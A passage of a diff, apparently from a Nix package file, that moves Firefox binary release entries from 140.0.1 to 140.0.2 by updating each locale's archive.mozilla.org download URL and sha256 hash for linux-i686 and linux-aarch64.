-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/uz/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/uz/firefox-140.0.2.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "dd734f71290a5e6bb266c0440ddc06fe4a6223a721194f2c48e7224acb2464b7";
+      sha256 = "4ccf80494d285d8e8b0761e885a78605b8fd393a1e846d66e93c7d35e6fa9b75";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/vi/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/vi/firefox-140.0.2.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "9fb92e06653eb09f8ba70cc879e044019d6c71353dd245beff61f0b884275b0a";
+      sha256 = "ac92738d2a8e5b29e6bc454a6fe26ddc5ed2d5b56f732c4ebefe03fc3a533786";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/xh/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/xh/firefox-140.0.2.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "90d51a2f0601922318c05d5d75406997ebea1a274ae0a85c07af8f40c998c0e1";
+      sha256 = "60727ffc393c38f927856ec094273fd4738884d2aa9eedbf3daf3f7741a9629f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/zh-CN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/zh-CN/firefox-140.0.2.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "1d4059d57b29ab52e4c5d7c557ad7a4fe55cb435103ba906349b57820ff38f52";
+      sha256 = "7be14d1553d6fcfa983b269fc313c6016b6ec9e1c170c34f9d85df211a5093b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/zh-TW/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/zh-TW/firefox-140.0.2.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "e424fa5aea8bc774b785ee783cafc696915b09e25351d6af18fd6193bcefb4fb";
+      sha256 = "b52683c7ac05ba33f6edcad2730652709ea16152738845a10d87332b17601d8f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ach/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ach/firefox-140.0.2.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "af93d7e30d0d08b100fa390c1894d6a6b13c13d77870fdfcf817e0952bcfc2ef";
+      sha256 = "93f2737be5fa33cf201efd4d8b7f7e96f6e1993ffb40c69cf2e804b8b751a9f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/af/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/af/firefox-140.0.2.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "81e05d6af01ad743e5ea19e3e2754efcab504ceef20e847664cc48f34d8b2e5e";
+      sha256 = "c9053eb18c562e260b2107989ebcca3009ab167b975b030b6c998a922a26c411";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/an/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/an/firefox-140.0.2.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "ed2a908e7a129d41943e37597282177bfdfbb083117d3e9c35448fb342c2b935";
+      sha256 = "566b5b4f42ede2c3c1ade1eee56f7442c72b5b6d386e4236999911fa91317288";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ar/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ar/firefox-140.0.2.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "20ac2320baa39c965d753546a922fed8886ef353d4b3815335da297f9ddad344";
+      sha256 = "d1330f52cf1fe976a7ae5e64aebc0548cd56b13561fc3b8c0a2b6a264270c3d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ast/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ast/firefox-140.0.2.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "109b33ebe8a5b6f85337e813b6cec6ff4fca2e75a494e6043b95d44ec510cb93";
+      sha256 = "1423b6da41e1fb52fa7ca4f2cc425d59ce8f2a85f947159c3623a5be39bf8759";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/az/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/az/firefox-140.0.2.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "edcd46f75deb7d6412c4586ccc48e4675181eeb442630e7e5275cb93fb175a7c";
+      sha256 = "10812ca634f32c6c08f51c2d5eb7d474d26784947dc5f36dc7ae2790e9c3e348";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/be/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/be/firefox-140.0.2.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "d2f31a05873906c56b30263a22c2e2b1de24599f09df228f06b7974f897db05c";
+      sha256 = "1543013e7e43bcfab2f1020b541681bf38e27d824a80aa0bbee4ffd72eb5254c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/bg/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/bg/firefox-140.0.2.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "737f335d87f3f395f1313fc1a0a06fd72e135d238097be9ed3e4ac74b99d6dba";
+      sha256 = "06de6f2b82f4e6087708e4471a119bae4996b9ae9acb9e7803591330d7a6ba15";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/bn/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/bn/firefox-140.0.2.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "86a02460d67ff5c62898a670d24d187157f25b6b71a4d96a68276efd5c45f5fe";
+      sha256 = "783d9510244245b2ed03f6bfc1ca51fb88e52d01ae311d594541214203c3b04b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/br/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/br/firefox-140.0.2.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "85aa49b65146565373f4392295742c24afad73156a2df65f9f2643ae76460978";
+      sha256 = "920c463ada52add81a42fcda544b3a635cee8424d04f9bf1ebd2314e5b3c3d03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/bs/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/bs/firefox-140.0.2.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "ded18cb7a6b89fa83fcdc501b388de72efd4ce049c45c65a38263cb8805e1926";
+      sha256 = "1063562c3bd8dbbee227979a77ee3a8f7eb24fd097caf8e7c998a16d6cfe4e7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ca-valencia/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ca-valencia/firefox-140.0.2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "c6fe0e52d593f65fd9ff94af5e63be7af3c8d831cd1afd0c69bd11e045e04ef7";
+      sha256 = "425b36e600980a43cdcbcfd715fd6cba78cfab2939218ec569742b56d7b01993";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ca/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ca/firefox-140.0.2.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "2ce304f71096c7545b409253db9f1efa142070134628623cf19548fc37916a75";
+      sha256 = "1f31dc40cfd4aeb2bea1f3b0f5c9da5caa28f9366ef662cb751013232054d1aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/cak/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/cak/firefox-140.0.2.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "a3c10d06014f8e459921a0d66f0c3538765e2d674df8f3bd78ad487926c52fcd";
+      sha256 = "5c4dddb13d44d84b05bac6c09c65f5e6d3c07040f301e8d84c88a1d5e0189101";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/cs/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/cs/firefox-140.0.2.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "d53d824e42e0670263527bba242dffa5159ffa3c8bebd118c550e5e46ea2e910";
+      sha256 = "421edcb43470ef104c508b7247a8ebd846c8578ddff89ed3508fdb92ea079f72";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/cy/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/cy/firefox-140.0.2.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "0c7777b072ad5de4e399be34fbee6e2ff68bfb7f9f011802ab11a7d32a37e4dc";
+      sha256 = "b357fff5e0268071ebf077f79650f054ae9ad428d5386192d71a2f3bd701c1d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/da/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/da/firefox-140.0.2.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "6bfa4ff59f42afc3ba5ef6ee90dbfe6c380d479df1eefc4db682a5bee0451f1f";
+      sha256 = "c99af654178e98426702cf6b058d497de10c8fc6daff54628dbd8c1a30b6dfa5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/de/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/de/firefox-140.0.2.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "180e89c5721e8103de58c7d1accf1496f15144bbfcfb0e07b2a061c53c2d10e0";
+      sha256 = "44451ee98bf89ecb175d482cec2e9e00ef6a6ce0f9cd42ab48a9cc66cdd7f09e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/dsb/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/dsb/firefox-140.0.2.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "97184d6e55e2e509786aa79766935250b78db5a2664032bfbfef79dcc5e2b701";
+      sha256 = "2c87845146938dc90f155fa36d430dfc9033ee3dd551b2aecfaef5b90d8a63df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/el/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/el/firefox-140.0.2.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "6fd7480eaa9ef3c9df916eb9c8546ec690ce156418f802d703dfe51de14f56be";
+      sha256 = "b0c740891f16b8669db8975b615597e6b2bdd12a17c0fe15d0dbe27c3a91ab6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/en-CA/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/en-CA/firefox-140.0.2.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "8777c5f155680eb7ce5c6b0c2f69fd1b1d8c030d374cc1fd40bdcbc4ceb98490";
+      sha256 = "e9d0a15751aef60fb29ee3ebf34f7f268e488c653da43a67eb1ea97112eca326";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/en-GB/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/en-GB/firefox-140.0.2.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "d5b3b2ac66ad3cac9566fb87c2896799a43937519014f400dea9f56b05c2443d";
+      sha256 = "5ba47aad25a1196995e6a2bcff149d4eadefa11283c50c6cc5774b57492b3e61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/en-US/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/en-US/firefox-140.0.2.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "b14e2e4d9897f554588626284448dcd45de33f14adf86068cc37492cff08b3c8";
+      sha256 = "da5c1ff12d2e7a3dab953964ce13e8382a8f6c38d3981ae31e1bea3b6903e34a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/eo/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/eo/firefox-140.0.2.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "a5d2e29c7fda730789fdf5344f3503c049cccd853f501077951f19fa716b542c";
+      sha256 = "e1768a196abf0dd038ac810b2825bd2bba889ebff1bdb1299038413f9a05ee7b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/es-AR/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/es-AR/firefox-140.0.2.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "384cc8e1833b44d8a97cf8d81bdfd14583e6d3ea9c06115171cf5c2a3a186cae";
+      sha256 = "1426c8e7dcb77b71fd3e1414b75cb49096d5705f417723392de082ae2b4228f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/es-CL/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/es-CL/firefox-140.0.2.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "73da8c1e27d6ea3fed83b98956b2c285eca755b6cc47562493edf1025acd8703";
+      sha256 = "b8622eae2ad0a5431194b2ee2f13c67d49be7ce53be0548a417677b000677c84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/es-ES/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/es-ES/firefox-140.0.2.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "64341066655ebbdaffdb5b23156464319f83301f657548906fd6c7628e2c2ad7";
+      sha256 = "f8e16795acdbe35259517d9fb56faeab513fbe28163e50eb0cd7362e953f38b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/es-MX/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/es-MX/firefox-140.0.2.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "2f605075bf3084af5963185e79feb478af011eb4eae096321ac243b21f8102a8";
+      sha256 = "277b27023b06851cccc8f590b27b3bb48b05bac693f15c798b2a6aa560edaab0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/et/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/et/firefox-140.0.2.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "7dffa5c7f543eeefad0d90ddaf81b7900c20fd3f89141b011ef16b71cdd142ab";
+      sha256 = "db1fdfbb1ac5c51fccee6142961508501ce6e1893a949d3009d67375d182d1c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/eu/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/eu/firefox-140.0.2.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "3bbe2b0151da7c38a8e46ceeca7944a01344bf7a4d1f6a2ca6a72c9c44679459";
+      sha256 = "dddfd6538724b45e83b8a8a0ba786ea5c8655f0edc7c70caaafe16ca7c37b79c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/fa/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/fa/firefox-140.0.2.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "6970ccdcc6a9f329323834bbf2e40d450475bbf82bea13c0f4c6dbbc4e1dab29";
+      sha256 = "68e633772e2519d9a760195bfa2ad9e0b1994c267751b3d33d0cb6258362025d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ff/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ff/firefox-140.0.2.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "a577ec80febd8403b28e9d68388d3f9b1ae6dccb6b88f673a6d2127b8f1234a9";
+      sha256 = "4bfb7ebdede857733e68421067827e93f33686e50588e5220ef007f462d1683a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/fi/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/fi/firefox-140.0.2.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "51b9ea799d6a1f1ae126679376959ab9d68d75022cd427b3c7f76dfcc5bfd98c";
+      sha256 = "f178366d85265e82fd1ad0dbcb1e6d483986947225524cf7e4c5ee335a2a6f2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/fr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/fr/firefox-140.0.2.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "feefb2b17b62ec4c46295491025a7849ead4bf7c3fbaeef8fad985238afc8784";
+      sha256 = "6be69cd7174af0ff25dd43e83b6b3e1c39ccc55ce95d397352f3f8736297ca02";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/fur/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/fur/firefox-140.0.2.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "bc45dd37277acd1047674efa933aa623ce8c1c8a02145a09cc4361b4e9b3985a";
+      sha256 = "0bc3f68f88c0ae01f5145594aee75f8aa4b71cfd075b9f7f63307d295a12f6ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/fy-NL/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/fy-NL/firefox-140.0.2.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "2d135da104662d567138d7736d6a3154959b4210b72240b1ec0f61d247b316bc";
+      sha256 = "099ec6292ac3fbe9a4eb37649c14ba2014ce0c2e3386cceeb3bdc5d670312d11";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ga-IE/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ga-IE/firefox-140.0.2.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "a0d65e4c6aa9315572433618c9b09e7b78eedf5e4b80a9e1055f2d3006900758";
+      sha256 = "80b8db2b3437f9569445a9e41d7731538e0162bc34dffbf6a84b746f66c1e323";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/gd/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/gd/firefox-140.0.2.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "85e2814fc53b3b8aa2b927f5c115acc43d8b3d2ac84c9c4513052f1a67a0b9c6";
+      sha256 = "ef72ee0642597225a9fe41f2971465c2417a8a01c1120499c5be079c0bc14e0e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/gl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/gl/firefox-140.0.2.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "02df5a0f9af8a2d56f966c014293a89a1a854fd9a9c4e4a7179e4fce3dd636e5";
+      sha256 = "ac72b92ff76018487fe472370f0f43ef6c32272db416db9c707f29e33de7539e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/gn/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/gn/firefox-140.0.2.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "962c419c285e8d6ad4a732c0be4694b895bea5e2433bbedeefff9f5a2aeca166";
+      sha256 = "c43f33a69dbf9834fba6bd5db60e7056269e0430f9f49255296d9df3babad078";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/gu-IN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/gu-IN/firefox-140.0.2.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "17bb558e863d7f401d03fa73928b58822e0f5e83b78d255d3006a1f50ccae1d5";
+      sha256 = "591034871a4d037e7d580893bbf5facbc8490df0b23820fe2059c42346771028";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/he/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/he/firefox-140.0.2.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "ebcda0e73148affaa16afbac7e8dcee526c7b3c10f3f3f1ba669c7c1a264a096";
+      sha256 = "6c34b0624f703b75a1860e5e4fdc9e2ef4668404505b537806067546b3d2a5be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/hi-IN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/hi-IN/firefox-140.0.2.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "81d69a32d4de81bbe94d7420cf0059d85b54471ec13352f9b5d7b5329096720c";
+      sha256 = "e0e1ab49547cb0ad5901f9322dff8a8d1f00d998691c0c95d99d959ac71e6369";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/hr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/hr/firefox-140.0.2.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "651c142061f3ea8abae4acbeb8f3bbf64f924c610e1b411c1c6dc26bd521b853";
+      sha256 = "13204ea33f683ff9199909bb15f99d3ad51cd1d6c6c6676b6c0ec2a261e28ed4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/hsb/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/hsb/firefox-140.0.2.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "d144144c2b036118413aaa161cc74196802dcacb7fdeb13f4c4fa82b496f0417";
+      sha256 = "509074d795b75b94d7d1d5344cd12054b304a84d6bdd16f8714cc894f212ba53";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/hu/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/hu/firefox-140.0.2.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "3ffa7ecbbe9a5fca62b6d24bd54ca6e1af92465a7c4da590b79a83be724a61bd";
+      sha256 = "4212c909bc9eb920d58af2c7ef161dbb78a911faec9e79aedf18dd55528fe8a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/hy-AM/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/hy-AM/firefox-140.0.2.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "f4a2faf1eadf996e13f8521b265385e29283328b247f703c4f16a18f9f02d655";
+      sha256 = "ef2c510da1e59113120d14acc5328eb1fa166b90b09bf18356cd876903c1e47e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ia/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ia/firefox-140.0.2.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "90b59193eadd35ed1b5d32b0147a5a0bfabc551aed0d57dbb88120b70b044214";
+      sha256 = "1f41b1c3cb6e99b42aaf08422068d1ee8b29a715c6933f8af8d24f79ba8ffc61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/id/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/id/firefox-140.0.2.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "32a01c699015bb1d53d4657ea5a8549bd4db196969ccd456d3998b31c02bb232";
+      sha256 = "c3360028bac60165cc4b588dac35bd1eb3df5042348068147d56591206748d4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/is/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/is/firefox-140.0.2.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "0d8f8185d7fb1f32c105f8711d52b504dd1b2d69c878d9135605a51168dba236";
+      sha256 = "a22dfaaa59104bd371d7f7d5ab082f39ef3c90b3d2228defdb20bd9693326fca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/it/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/it/firefox-140.0.2.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "28cbc44d9fa43a34e3509f3c591f24839d98a9683f0de200b4e9a5586092279a";
+      sha256 = "30800d733eb2bc25b07a47a41fe0fc58f2d8898b956f9be0085237620d42d6fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ja/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ja/firefox-140.0.2.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "b5792a8547b9836096eeb5c40cff25dbb6f60659f2b75c5af275ee890e5ff718";
+      sha256 = "9445d1d158e8ff00e9e91a953701e8b905f0d700764f468c9c4915b981afa30b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ka/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ka/firefox-140.0.2.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "e0dda1cbcc2eda1172a42fbb76acbe403e62e0fde604a44b7ad1b2c380c0eaf5";
+      sha256 = "ec0547c3921d15d2ec6b4214d8e1dd16ff5b82cf20c4fff4a8f8135d29d5780b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/kab/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/kab/firefox-140.0.2.tar.xz";
       locale = "kab";
